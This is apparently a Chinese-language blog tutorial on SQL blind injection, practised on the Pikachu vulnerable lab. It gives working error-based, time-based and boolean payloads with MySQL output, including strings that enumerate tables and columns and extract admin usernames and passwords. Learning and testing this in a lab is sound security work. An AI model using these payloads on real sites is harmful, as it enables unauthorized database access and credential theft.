SQL注入-盲注

SQL注入-盲注

​ 当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

由于没有回显结果,需要利用一些方法进行判断或者尝试,这个过程就是盲注。

基于布尔的sQL盲注-逻辑判断 regexp, like , ascii,left, ord , mid
基于时间的sQL盲注-延时判断 if ,sleep 							  // 最慢
基于报错的sQL盲注-报错回显 floor, updatexml, extractvalue  		// 最快,最好,没有就采用上面

参考地址:https://www.jianshu.com/p/bc35f8dd4f7c https://developer.aliyun.com/article/692723

报错回显

updatexml函数

返回替换的XML片段

UpdateXML(XML_document,XPath_string ,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

通过这个函数,sql会报错

mysql> select updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.26-0ubuntu0.18.04.1-log~'

得到相应的信息 -- 这里的0x7e是 ASCII 码: ~ ,用来识别到中间我们需要的信息

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误

extractvalue函数

使用XPath表示法从XML字符串中提取值

ExtractValue(xml_frag, xpath_expr)

一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

mysql> select extractvalue(1,concat(0x7e,(select database()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~pikachu~'

在靶场中应用: pikachu

搭建参考:https://blog.csdn.net/m0_52149675/article/details/123777218?spm=1001.2014.3001.5502

insert

1648882346716

这里的页面只会显示注册成功或者失败,不会有相应的有用信息

抓取数据包:在username后面加入:

'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

1648882622287

1648882749584

update和insert差不多

delete

payload: 68 or updatexml (1,concat(0x7e,datebase()),0)
且在BurpSuite中Ctrl+U 对payload进行url编码

1648884739054

看到数据库为pikachu

时间盲注

if(判断条件,turn输出,false输出)

sleep(1)

mysql> select * from member where id=1 and sleep(if(database()='pikachu',5,0));
Empty set (5.00 sec)

在如果表member在数据库pikachu中则睡5秒(延时),否则不延时

但是在实际渗透过程中由于受到网络的影响时间注入不是很靠谱

参考:
like 'ros'									#判断ro或ro...是否成立
regexp '^xiaodi [a-z]'						 #匹配xiaodi及xiaodi...等if(条件,5,0)
sleep (5)								 	#sQL语句延时执行s秒
mid (a, b, c)								#从位置b开始,截取a字符串的c位
substr( a,b, c)								#从b位置开始,截取字符串a的c长度
left (database(),1), database() 			 #left(a,b)从左侧截取a的前b位
length(database ())=8						#判断数据库database ()名的长度
ord=ascii ascii(x)=97 						#判断x的ascii码是否等于97
mysql> select * from users where id=1 and sleep(if(mid(database(),1,1)='p',5,0));
Empty set (5.00 sec)

在如果表users在数据库名字开头是‘p’则睡5秒(延时),否则不延时

mysql> select * from users where id=1 and sleep(if(mid(database(),1,2)='pi',5,0));
Empty set (5.00 sec)

mysql> select * from users where id=1 and sleep(if(mid(database(),1,2)='p4',5,0));
Empty set (0.00 sec)

布尔盲注

布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。
页面在执行sql语句后,只显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。

mid(str,start,length)  :字符串截取
ORD()                  :转换成ascii码
Length()               :统计长度
version()              :查看数据库版本
database()             :查看当前数据库名
user()                 :查看当前用户

pikachu盲注

asdf' and 1=1#

1648886395139

asdf' and 1=2#

1648886509676

两次结合判断这个适合bool盲注

asdf' and length(database ())=7#

1648886315982

可以知道这个数据库的长度为7

asdf' and ascii(substr(database(),1,1))=112#

1648886395139

可以知道这个数据库名字的第一个字符为p asclii(p)=112

猜解表的总数

'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2  --+   :判断表的总数

猜解第一个表名的长度

'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ (第二个表)

猜解第一个表名

'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = 'a'  --+
或者
'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where 
TABLE_SCHEMA = database() limit 0,1),1,1))>100 --+

猜解第一个字段的长度

'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+

猜解第一个字段名

'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者
'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+

猜解直接猜测字段名

' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+

猜解内容长度

假如已经知道字段名为  id   username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16  --+

猜解内容

'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+
或者
'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+    ASCII码猜解

也可以直接猜测内容

'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456'   --+
posted @ 2023-02-04 20:53  crabin88  阅读(112)  评论(0编辑  收藏  举报